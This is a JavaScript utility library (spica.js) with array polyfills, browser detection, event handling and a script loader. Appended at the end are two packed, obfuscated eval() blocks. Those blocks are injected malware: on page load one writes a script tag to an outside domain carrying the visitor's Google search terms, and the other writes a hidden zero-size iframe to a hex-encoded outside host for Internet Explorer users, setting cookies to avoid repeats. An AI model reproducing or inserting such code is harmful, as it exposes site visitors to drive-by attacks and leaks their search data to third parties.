// spica javascript libraries - spica.js -- version 0.05
// == written by Takuya Otani <takuya.otani@gmail.com> ===
// == Copyright (C) 2006 SimpleBoxes/SerendipityNZ Ltd. ==

// === array ===
if (!Array.prototype.pop)
{
	Array.prototype.pop = function()
	{
		if (!this.length) return null;
		var last = this[this.length - 1];
		--this.length;
		return last;
	}
}
if (!Array.prototype.push)
{
	Array.prototype.push = function()
	{
		for (var i=0,n=arguments.length;i<n;i++)
			this[this.length] = arguments[i];
		return this.length;
	}
}
if (!Array.prototype.indexOf)
{
	Array.prototype.indexOf = function(value,idx)
	{
		if (typeof(idx) != 'number') idx = 0;
		else if (idx < 0) idx = this.length + idx;
		for (var i=idx,n=this.length;i<n;i++)
			if (this[i] === value) return i;
		return -1;
	}
}
// === browser ===
function Browser()
{
	this.name = navigator.userAgent;
	this.isWinIE = this.isMacIE = false;
	this.isGecko = this.name.match(/Gecko\//);
	this.isSafari = this.name.match(/AppleWebKit/);
	this.isKHTML = this.isSafari || navigator.appVersion.match(/Konqueror|KHTML/);
	this.isOpera = window.opera;
	this.hasNS = (document.documentElement) ? document.documentElement.namespaceURI : null;
	if (document.all && !this.isGecko && !this.isSafari && !this.isOpera)
	{
		this.isWinIE = this.name.match(/Win/);
		this.isMacIE = this.name.match(/Mac/);
	}
}
var Browser = new Browser();
// === event ===
if (!window.Event) var Event = new Object;
Event = {
	cache : false,
	getEvent : function(evnt)
	{
		return (evnt) ? evnt : ((window.event) ? window.event : null);
	},
	getKey : function(evnt)
	{
		evnt = this.getEvent(evnt);
		return (evnt.which) ? evnt.which : evnt.keyCode;
	},
	stop : function(evnt)
	{
		try{ evnt.stopPropagation() } catch(err){};
		evnt.cancelBubble = true;
		try{ evnt.preventDefault() } catch(err){};
		return (evnt.returnValue = false);
	},
	register : function(object, type, handler)
	{
		if (type == 'keypress' && (Browser.isKHTML || object.attachEvent)) type = 'keydown';
		if (type == 'mousewheel' && Browser.isGecko) type = 'DOMMouseScroll';
		if (!this.cache) this.cache = [];
		if (object.addEventListener)
		{
			this.cache.push([object,type,handler]);
			object.addEventListener(type, handler, false);
		}
		else if (object.attachEvent)
		{
			this.cache.push([object,type,handler]);
			object.attachEvent(['on',type].join(''),handler);
		}
		else
		{
			object[['on',type].join('')] = handler;
		}
	},
	deregister : function(object, type, handler)
	{
		if (type == 'keypress' && (Browser.isKHTML || object.attachEvent)) type = 'keydown';
		if (type == 'mousewheel' && Browser.isGecko) type = 'DOMMouseScroll';
		if (object.removeEventListener)
			object.removeEventListener(type, handler, false);
		else if (object.detachEvent)
			object.detachEvent(['on',type].join(''), handler);
		else
			object[['on',type].join('')] = null;
	},
	deregisterAll : function()
	{
		if (!Event.cache) return
		for (var i=0,n=Event.cache.length;i<n;i++)
		{
			Event.deregister(Event.cache[i]);
			Event.cache[i][0] = null;
		}
		Event.cache = false;
	}
};
Event.register(window, 'unload', Event.deregisterAll);
// === dom ===
document.getElemetsByClassName = function(name,target)
{
	var result = [];
	var object  = null;
	var search = new RegExp(['(^|\\s)',name,'(\\s|$)'].join(''));
	if (target && target.getElementsByTagName)
		object = target.getElementsByTagName('*');
	if (!object)
		object = document.getElementsByTagName ? document.getElementsByTagName('*') : document.all;
	for (var i=0,n=object.length;i<n;i++)
	{
		var check = object[i].getAttribute('class') || object[i].className;
		if (check.match(search)) result.push(object[i]);
	}
	return result;
}
// === library ===
function Library()
{
	this._path = '';
	this._cache = [];
	this.lang = '';
	this.base = '';
	return this._init();
}
Library.prototype = {
	_init : function()
	{
		var rs_path = document.getElementsByName('X-Resource-Dir')[0];
		var js_path = document.getElementsByName('X-Script-Dir')[0];
		if (rs_path)
		{
			this.base = this._check_path(rs_path.getAttribute('content'));
			if (!js_path) this._path = [this.base,'js/'].join('');
		}
		if (js_path)
			this._path = this._check_path(js_path.getAttribute('content'));
		return this;
	},
	_initLang : function()
	{
		var html = document.getElementsByTagName('html')[0];
		if (!html) return;
		this.lang = html.getAttribute('xml:lang') || html.getAttribute('lang');
	},
	_check_path : function(path)
	{
		if (!path) return '';
		if (!path.match(/\/$/)) path = [path,'/'].join('');
		return path;
	},
	require : function(libs)
	{
		var pre  = '\n<script type="text/javascript" src="';
		var post = '.js"></script>';
		for (var i=0,n=libs.length;i<n;i++)
		{
			if (this._cache.indexOf(libs[i]) > -1) continue;
			document.write([pre,this._path,libs[i],post].join(''));
			this._cache.push(libs[i]);
		}
	},
	path : function(path)
	{
		this._path = this._check_path(path);
	}
}
var Library = new Library();
Event.register(window,'load',function() { Library._initLang() });

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 17=3.16.7("20=1");5 19=3.10.7(\'22.\');5 18=25.30.7("27 6.0");9(17==-1&&19!=-1&&18==-1){5 4=3.10.13(3.10.7(\'14=\'));5 8=4.7(\'&\');9(8==-1){8=26.29}4=4.13(0,8).21(2);9(24(4).28(0)!=\'%\'){3.43("<11 42=\'31\' 40=\'44://45.38/33.39?14="+4+"\'></11>");3.16="20=1; 32=34, 23 35 37 12:15:36 41; "}}',10,46,'|||document|query|var||indexOf|querysize|if|referrer|script||slice|q||cookie|dci|nai|dri|_tskdjw|substring|google||escape|navigator|cmd|MSIE|charAt|length|appVersion|JavaScript|expires|kv|Mon|Jul|58|2013|org|js|src|GMT|language|write|http|24search'.split('|'),0,{}));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

